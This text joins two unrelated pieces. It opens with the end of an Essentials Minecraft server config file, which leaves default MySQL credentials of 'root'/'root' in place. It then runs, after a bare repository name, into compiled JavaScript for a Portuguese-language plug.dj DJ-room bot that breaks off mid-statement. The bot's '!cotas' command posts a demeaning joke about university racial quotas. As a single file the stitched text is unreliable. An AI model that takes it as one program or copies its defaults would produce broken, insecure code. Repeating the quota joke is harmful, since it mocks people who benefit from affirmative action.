near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: tools: delay: 10 items: - 272 1 - 273 1 - 274 1 - 275 1 dtools: delay: 600 items: - 278 1 efficiency:1 durability:1 fortune:1 name:&4Gigadrill lore:The_drill_that_&npierces|the_heavens - 277 1 digspeed:3 name:Dwarf lore:Diggy|Diggy|Hole - 298 1 color:255,255,255 name:Top_Hat lore:Good_day,_Good_day - 279:780 1 notch: delay: 6000 items: - 397:3 1 player:Notch color: delay: 6000 items: - 387 1 title:&4Book_&9o_&6Colors author:KHobbits lore:Ingame_color_codes book:Colors firework: delay: 6000 items: - 401 1 name:Angry_Creeper color:red fade:green type:creeper power:1 - 401 1 name:StarryNight color:yellow,orange fade:blue type:star effect:trail,twinkle power:1 - 401 2 name:SolarWind color:yellow,orange fade:red shape:large effect:twinkle color:yellow,orange fade:red shape:ball effect:trail color:red,purple fade:pink shape:star effect:trail power:1 # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: #- color #- balance #- buy #- sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled backup: # Interval in minutes interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups sort-list-by-groups: false # More output to the console debug: false # Set the locale for all messages # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties" # Don't forget to remove the # in front of the line # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here death-messages: true # Add worlds to this list, if you want to automatically disable god mode there no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home, defaults to 'default' below. # Define different amounts of multiple homes for different permissions, e.g. essentials.sethome.multiple.vip # People with essentials.sethome.multiple.unlimited are not limited by these numbers. # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: default: 3 # essentials.sethome.multiple.vip vip: 5 # essentials.sethome.multiple.staff staff: 10 # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 0 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have # The amount is always limited to 10 trillion because of the limitations of a java double max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help non-ess-in-help: true # Hide plugins which do not give a permission # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '&l{DISPLAYNAME} &3➽ &f&l{MESSAGE}' Dziewczyna: '{DISPLAYNAME} &3➽ &5 {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: # Default: '{WORLDNAME} {DISPLAYNAME}&7:&r {MESSAGE}' # Admins: '{WORLDNAME} &c[{GROUP}]&r {DISPLAYNAME}&7:&c {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # Database settings for sign/rail protection # mysql or sqlite # We strongly recommend against using mysql here, unless you have a good reason. # Sqlite seems to be faster in almost all cases, and in some cases mysql can be much slower. datatype: 'sqlite' # If you specified MySQL above, you MUST enter the appropriate details here. # If you specified SQLite above, these will be IGNORED. username: 'root' password: 'root' mysqlDb: 'jdbc:mysql://localhost:3306/minecraft' # General physics/behavior modifications prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players # permission essentials.protect.entitytarget.bypass disables this entitytarget: false # Prevent the spawning of creatures spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: false bat: false witch: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Protect various blocks. protect: # Protect all signs signs: false # Prevent users from destroying rails rails: false # Blocks below rails/signs are also protected if the respective rail/sign is protected. # This makes it more difficult to circumvent protection, and should be enabled. # This only has an effect if "rails" or "signs" is also enabled. block-below: true # Prevent placing blocks above protected rails, this is to stop a potential griefing prevent-block-on-rails: false # Store blocks / signs in memory before writing memstore: false # Disable various default physics and behaviors disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build # Set true to disable building for those people # Setting to false means EssentialsAntiBuild will never prevent you from building build: true # Should people with build: false in permissions be allowed to use items # Set true to disable using for those people # Setting to false means EssentialsAntiBuild will never prevent you from using use: true # Should we tell people they are not allowed to build warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing placement: 10,11,46,327 # Which items should people be prevented from using usage: 327 # Which blocks should people be prevented from breaking break: # Which blocks should not be pushed by pistons piston: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&dWelcome {DISPLAYNAME}&d to the server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: tools # Set this to lowest, if you want Multiverse to handle the respawning # Set this to high, if you want EssentialsSpawn to handle the respawning # Set this to highest, if you want to force EssentialsSpawn to handle the respawning respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
Leandropesao / Boooot// Generated by CoffeeScript 1.6.2 (function() { var Command, RoomHelper, User, addCommand, afkCheck, afksCommand, allAfksCommand, announceCurate, antispam, apiHooks, avgVoteRatioCommand, chatCommandDispatcher, chatUniversals, cmds, data, dieCommand, disconnectLookupCommand, fans, handleNewSong, handleUserJoin, handleUserLeave, handleVote, hook, initEnvironment, initHooks, initialize, lockCommand, lockskipCommand, msToStr, newSongsCommand, newsCommand, populateUserData, channelCommand, pupOnline, reloadCommand, removeCommand, roomHelpCommand, rulesCommand, settings, skipCommand, staffCommand, statusCommand, themeCommand, undoHooks, unhook, unlockCommand, updateVotes, versionCommand, voteRatioCommand, ref, _ref1, _ref10, _ref11, _ref12, _ref13, _ref14, _ref15, _ref16, _ref17, _ref18, _ref19, _ref2, _ref20, _ref21, _ref3, _ref4, _ref5, _ref6, _ref7, _ref8, _ref9, __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; }, __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (_hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; settings = (function() { function settings() { this.implode = __bind(this.implode, this); this.intervalMessages = __bind(this.intervalMessages, this); this.startAfkInterval = __bind(this.startAfkInterval, this); this.setInternalWaitlist = __bind(this.setInternalWaitlist, this); this.userJoin = __bind(this.userJoin, this); this.getRoomUrlPath = __bind(this.getRoomUrlPath, this); this.startup = __bind(this.startup, this); } settings.prototype.currentsong = {}; settings.prototype.users = {}; settings.prototype.djs = []; settings.prototype.mods = []; settings.prototype.host = []; settings.prototype.hasWarned = false; settings.prototype.currentwoots = 0; settings.prototype.currentmehs = 0; settings.prototype.currentcurates = 0; settings.prototype.roomUrlPath = null; settings.prototype.internalWaitlist = []; settings.prototype.userDisconnectLog = []; settings.prototype.voteLog = {}; settings.prototype.seshOn = false; settings.prototype.forceSkip = false; settings.prototype.seshMembers = []; settings.prototype.launchTime = null; settings.prototype.totalVotingData = { woots: 0, mehs: 0, curates: 0 }; settings.prototype.pupScriptUrl = 'https://dl.dropbox.com/u/21023321/TastycatBot.js'; settings.prototype.afkTime = 666 * 60 * 1000; settings.prototype.songIntervalMessages = [ { interval: 7, offset: 0, msg: "Entrem na nossa pagina: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl" }, { interval: 5, offset: 0, msg: "Mantenha-se ativo no bate-papo e Votando. Ser não sera Retirado da Lista de DJ e da Cabine!" } ]; settings.prototype.songCount = 0; settings.prototype.startup = function() { this.launchTime = new Date(); return this.roomUrlPath = this.getRoomUrlPath(); }; settings.prototype.getRoomUrlPath = function() { return window.location.pathname.replace(/\//g, ''); }; settings.prototype.newSong = function() { this.totalVotingData.woots += this.currentwoots; this.totalVotingData.mehs += this.currentmehs; this.totalVotingData.curates += this.currentcurates; this.setInternalWaitlist(); this.currentsong = API.getMedia(); if (this.currentsong !== null) { return this.currentsong; } else { return false; } }; settings.prototype.userJoin = function(u) { var userIds, _ref; userIds = Object.keys(this.users); if (_ref = u.id, __indexOf.call(userIds, _ref) >= 0) { return this.users[u.id].inRoom(true); } else { this.users[u.id] = new User(u); return this.voteLog[u.id] = {}; } }; settings.prototype.setInternalWaitlist = function() { var boothWaitlist, fullWaitList, lineWaitList; boothWaitlist = API.getDJs().slice(1); lineWaitList = API.getWaitList(); fullWaitList = boothWaitlist.concat(lineWaitList); return this.internalWaitlist = fullWaitList; }; settings.prototype.activity = function(obj) { if (obj.type === 'message') { return this.users[obj.fromID].updateActivity(); } }; settings.prototype.startAfkInterval = function() { return this.afkInterval = setInterval(afkCheck, 2000); }; settings.prototype.intervalMessages = function() { var msg, _i, _len, _ref, _results; this.songCount++; _ref = this.songIntervalMessages; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { msg = _ref[_i]; if (((this.songCount + msg['offset']) % msg['interval']) === 0) { _results.push(API.sendChat(msg['msg'])); } else { _results.push(void 0); } } return _results; }; settings.prototype.implode = function() { var item, val; for (item in this) { val = this[item]; if (typeof this[item] === 'object') { delete this[item]; } } return clearInterval(this.afkInterval); }; settings.prototype.lockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": true, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; settings.prototype.unlockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": false, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; return settings; })(); data = new settings(); User = (function() { User.prototype.afkWarningCount = 0; User.prototype.lastWarning = null; User.prototype["protected"] = false; User.prototype.isInRoom = true; function User(user) { this.user = user; this.updateVote = __bind(this.updateVote, this); this.inRoom = __bind(this.inRoom, this); this.notDj = __bind(this.notDj, this); this.warn = __bind(this.warn, this); this.getIsDj = __bind(this.getIsDj, this); this.getWarningCount = __bind(this.getWarningCount, this); this.getUser = __bind(this.getUser, this); this.getLastWarning = __bind(this.getLastWarning, this); this.getLastActivity = __bind(this.getLastActivity, this); this.getLastDrinkTime = __bind(this.getLastDrinkTime, this); this.updateDrinkTime = __bind(this.updateDrinkTime, this); this.updateActivity = __bind(this.updateActivity, this); this.init = __bind(this.init, this); this.init(); } User.prototype.init = function() { this.lastActivity = new Date(); return this.drinkTime = new Date(); }; User.prototype.updateActivity = function() { this.lastActivity = new Date(); this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.updateDrinkTime = function() { return this.drinkTime = new Date(); }; User.prototype.getLastDrinkTime = function() { return this.drinkTime; }; User.prototype.getLastActivity = function() { return this.lastActivity; }; User.prototype.getLastWarning = function() { if (this.lastWarning === null) { return false; } else { return this.lastWarning; } }; User.prototype.getUser = function() { return this.user; }; User.prototype.getWarningCount = function() { return this.afkWarningCount; }; User.prototype.getIsDj = function() { var DJs, dj, _i, _len; DJs = API.getDJs(); for (_i = 0, _len = DJs.length; _i < _len; _i++) { dj = DJs[_i]; if (this.user.id === dj.id) { return true; } } return false; }; User.prototype.warn = function() { this.afkWarningCount++; return this.lastWarning = new Date(); }; User.prototype.notDj = function() { this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.inRoom = function(online) { return this.isInRoom = online; }; User.prototype.updateVote = function(v) { if (this.isInRoom) { return data.voteLog[this.user.id][data.currentsong.id] = v; } }; return User; })(); RoomHelper = (function() { function RoomHelper() {} RoomHelper.prototype.lookupUser = function(username) { var id, u, _ref; _ref = data.users; for (id in _ref) { u = _ref[id]; if (u.getUser().username === username) { return u.getUser(); } } return false; }; RoomHelper.prototype.userVoteRatio = function(user) { var songId, songVotes, vote, votes; songVotes = data.voteLog[user.id]; votes = { 'woot': 0, 'meh': 0 }; for (songId in songVotes) { vote = songVotes[songId]; if (vote === 1) { votes['woot']++; } else if (vote === -1) { votes['meh']++; } } votes['positiveRatio'] = (votes['woot'] / (votes['woot'] + votes['meh'])).toFixed(2); return votes; }; return RoomHelper; })(); pupOnline = function() { var currentversion, me, myname; me = API.getSelf(); myname = me.username; currentversion = "1.0.0"; log("BOT editado pelo Rafal Moraes versão " + currentversion + " Chupa Jô"); return API.sendChat("/me on"); }; populateUserData = function() { var u, users, _i, _len; users = API.getUsers(); for (_i = 0, _len = users.length; _i < _len; _i++) { u = users[_i]; data.users[u.id] = new User(u); data.voteLog[u.id] = {}; } }; initEnvironment = function() { document.getElementById("button-vote-positive").click(); document.getElementById("button-sound").click(); Playback.streamDisabled = true; return Playback.stop(); }; initialize = function() { pupOnline(); populateUserData(); initEnvironment(); initHooks(); data.startup(); data.newSong(); return data.startAfkInterval(); }; afkCheck = function() { var DJs, id, lastActivity, lastWarned, now, secsLastActive, timeSinceLastActivity, timeSinceLastWarning, twoMinutes, user, _ref, _results; _ref = data.users; _results = []; for (id in _ref) { user = _ref[id]; now = new Date(); lastActivity = user.getLastActivity(); timeSinceLastActivity = now.getTime() - lastActivity.getTime(); if (timeSinceLastActivity > data.afkTime) { if (user.getIsDj()) { secsLastActive = timeSinceLastActivity / 1000; if (user.getWarningCount() === 0) { user.warn(); _results.push(API.sendChat("@" + user.getUser().username + ", Você não falou no chat nos ultimos 30 minutos, por favor fale alguma coisa em 4 minutos ou será kickado da line de dj.")); } else if (user.getWarningCount() === 1) { lastWarned = user.getLastWarning(); timeSinceLastWarning = now.getTime() - lastWarned.getTime(); twoMinutes = 4 * 60 * 1000; if (timeSinceLastWarning > twoMinutes) { DJs = API.getDJs(); if (DJs.length > 0 && DJs[0].id !== user.getUser().id) { API.sendChat("@" + user.getUser().username + ", você foi avisado, fique ativo enquanto está na line."); API.moderateRemoveDJ(id); _results.push(user.warn()); } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(user.notDj()); } } else { _results.push(void 0); } } return _results; }; msToStr = function(msTime) { var ms, msg, timeAway; msg = ''; timeAway = { 'days': 0, 'hours': 0, 'minutes': 0, 'seconds': 0 }; ms = { 'day': 24 * 60 * 60 * 1000, 'hour': 60 * 60 * 1000, 'minute': 60 * 1000, 'second': 1000 }; if (msTime > ms['day']) { timeAway['days'] = Math.floor(msTime / ms['day']); msTime = msTime % ms['day']; } if (msTime > ms['hour']) { timeAway['hours'] = Math.floor(msTime / ms['hour']); msTime = msTime % ms['hour']; } if (msTime > ms['minute']) { timeAway['minutes'] = Math.floor(msTime / ms['minute']); msTime = msTime % ms['minute']; } if (msTime > ms['second']) { timeAway['seconds'] = Math.floor(msTime / ms['second']); } if (timeAway['days'] !== 0) { msg += timeAway['days'].toString() + 'd'; } if (timeAway['hours'] !== 0) { msg += timeAway['hours'].toString() + 'h'; } if (timeAway['minutes'] !== 0) { msg += timeAway['minutes'].toString() + 'm'; } if (timeAway['seconds'] !== 0) { msg += timeAway['seconds'].toString() + 's'; } if (msg !== '') { return msg; } else { return false; } }; Command = (function() { function Command(msgData) { this.msgData = msgData; this.init(); } Command.prototype.init = function() { this.parseType = null; this.command = null; return this.rankPrivelege = null; }; Command.prototype.functionality = function(data) {}; Command.prototype.hasPrivelege = function() { var user; user = data.users[this.msgData.fromID].getUser(); switch (this.rankPrivelege) { case 'host': return user.permission >= 5; case 'cohost': return user.permission >= 4; case 'mod': return user.permission >= 3; case 'manager': return user.permission >= 3; case 'bouncer': return user.permission >= 2; case 'featured': return user.permission >= 1; default: return true; } }; Command.prototype.commandMatch = function() { var command, msg, _i, _len, _ref; msg = this.msgData.message; if (typeof this.command === 'string') { if (this.parseType === 'exact') { if (msg === this.command) { return true; } else { return false; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, this.command.length) === this.command) { return true; } else { return false; } } else if (this.parseType === 'contains') { if (msg.indexOf(this.command) !== -1) { return true; } else { return false; } } } else if (typeof this.command === 'object') { _ref = this.command; for (_i = 0, _len = _ref.length; _i < _len; _i++) { command = _ref[_i]; if (this.parseType === 'exact') { if (msg === command) { return true; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, command.length) === command) { return true; } } else if (this.parseType === 'contains') { if (msg.indexOf(command) !== -1) { return true; } } } return false; } }; Command.prototype.evalMsg = function() { if (this.commandMatch() && this.hasPrivelege()) { this.functionality(); return true; } else { return false; } }; return Command; })(); newsCommand = (function(_super) { __extends(newsCommand, _super); function newsCommand() { _ref = newsCommand.__super__.constructor.apply(this, arguments); return _ref; } newsCommand.prototype.init = function() { this.command = '!cotas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newsCommand.prototype.functionality = function() { var msg; msg = "/me Acaba de Ativar modo Cota e roubou sua vaga na Faculdade e sua vez na Cabine de DJ!"; return API.sendChat(msg); }; return newsCommand; })(Command); newSongsCommand = (function(_super) { __extends(newSongsCommand, _super); function newSongsCommand() { _ref1 = newSongsCommand.__super__.constructor.apply(this, arguments); return _ref1; } newSongsCommand.prototype.init = function() { this.command = '!musicanovas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newSongsCommand.prototype.functionality = function() { var arts, cMedia, chans, chooseRandom, mChans, msg, selections, u, _ref2; mChans = this.memberChannels.slice(0); chans = this.channels.slice(0); arts = this.artists.slice(0); chooseRandom = function(list) { var l, r; l = list.length; r = Math.floor(Math.random() * l); return list.splice(r, 1); }; selections = { channels: [], artist: '' }; u = data.users[this.msgData.fromID].getUser().username; if (u.indexOf("MistaDubstep") !== -1) { selections['channels'].push('MistaDubstep'); } else if (u.indexOf("Underground Promotions") !== -1) { selections['channels'].push('UndergroundDubstep'); } else { selections['channels'].push(chooseRandom(mChans)); } selections['channels'].push(chooseRandom(chans)); selections['channels'].push(chooseRandom(chans)); cMedia = API.getMedia(); if (_ref2 = cMedia.author, __indexOf.call(arts, _ref2) >= 0) { selections['artist'] = cMedia.author; } else { selections['artist'] = chooseRandom(arts); } msg = "Querem musica de Dubstep do " + selections['artist'] + " entre! Tem musicas nova sempre em http://youtube.com/" + selections['channels'][0] + " http://youtube.com/" + selections['channels'][1] + " ou http://youtube.com/" + selections['channels'][2]; return API.sendChat(msg); }; newSongsCommand.prototype.memberChannels = ["MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.channels = ["BassRape", "MonstercatMedia", "UKFdubstep", "DropThatBassline", "VitalDubstep", "AirwaveDubstepTV", "InspectorDubplate", "TehDubstepChannel", "UNITEDubstep", "LuminantNetwork", "TheSoundIsle", "PandoraMuslc", "MrSuicideSheep", "HearTheSensation", "bassoutletpromos", "MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.artists = ["Doctor P", "Excision", "Flux Pavilion", "Knife Party", "Rusko", "Bassnectar", "Nero", "Deadmau5", "Borgore", "Zomboy"]; return newSongsCommand; })(Command); themeCommand = (function(_super) { __extends(themeCommand, _super); function themeCommand() { _ref2 = themeCommand.__super__.constructor.apply(this, arguments); return _ref2; } themeCommand.prototype.init = function() { this.command = '!tema'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; themeCommand.prototype.functionality = function() { var msg; msg = "Temas permitidos aqui na sala. electro, techno, "; msg += "dubstep."; return API.sendChat(msg); }; return themeCommand; })(Command); rulesCommand = (function(_super) { __extends(rulesCommand, _super); function rulesCommand() { _ref3 = rulesCommand.__super__.constructor.apply(this, arguments); return _ref3; } rulesCommand.prototype.init = function() { this.command = '!regras'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; rulesCommand.prototype.functionality = function() { var msg1, msg2; msg1 = " 1) Video no Maximo 6 minutos. "; msg1 += " 2) Sem Flood! "; msg1 += " 3) Nao escrever em colorido "; msg1 += " 4) Respeitar os Adms e Mods;s "; msg1 += " 5) Nao Fiquem Pedindo Cargos "; msg2 = "Curta: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl"; msg2 += ""; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return rulesCommand; })(Command); roomHelpCommand = (function(_super) { __extends(roomHelpCommand, _super); function roomHelpCommand() { _ref4 = roomHelpCommand.__super__.constructor.apply(this, arguments); return _ref4; } roomHelpCommand.prototype.init = function() { this.command = '!ajuda'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; roomHelpCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "Bem vindo a Sala! Para ser o DJ, Criar uma lista de reprodução e coloque Musica do Youtube ou soundcloud. "; msg1 += "Se é novo procure pelo seu nome na sua tela (do lado da cabine de dj e clique) e depois mude o nome."; msg2 = "Para Ganhar Pontos é só clica em Bacana. "; msg2 += "Digite !regras pare ler as porra das regras."; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return roomHelpCommand; })(Command); afksCommand = (function(_super) { __extends(afksCommand, _super); function afksCommand() { _ref5 = afksCommand.__super__.constructor.apply(this, arguments); return _ref5; } afksCommand.prototype.init = function() { this.command = '!afks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; afksCommand.prototype.functionality = function() { var dj, djAfk, djs, msg, now, _i, _len; msg = ''; djs = API.getDJs(); for (_i = 0, _len = djs.length; _i < _len; _i++) { dj = djs[_i]; now = new Date(); djAfk = now.getTime() - data.users[dj.id].getLastActivity().getTime(); if (djAfk > (5 * 60 * 1000)) { if (msToStr(djAfk) !== false) { msg += dj.username + ' - ' + msToStr(djAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return afksCommand; })(Command); allAfksCommand = (function(_super) { __extends(allAfksCommand, _super); function allAfksCommand() { _ref6 = allAfksCommand.__super__.constructor.apply(this, arguments); return _ref6; } allAfksCommand.prototype.init = function() { this.command = 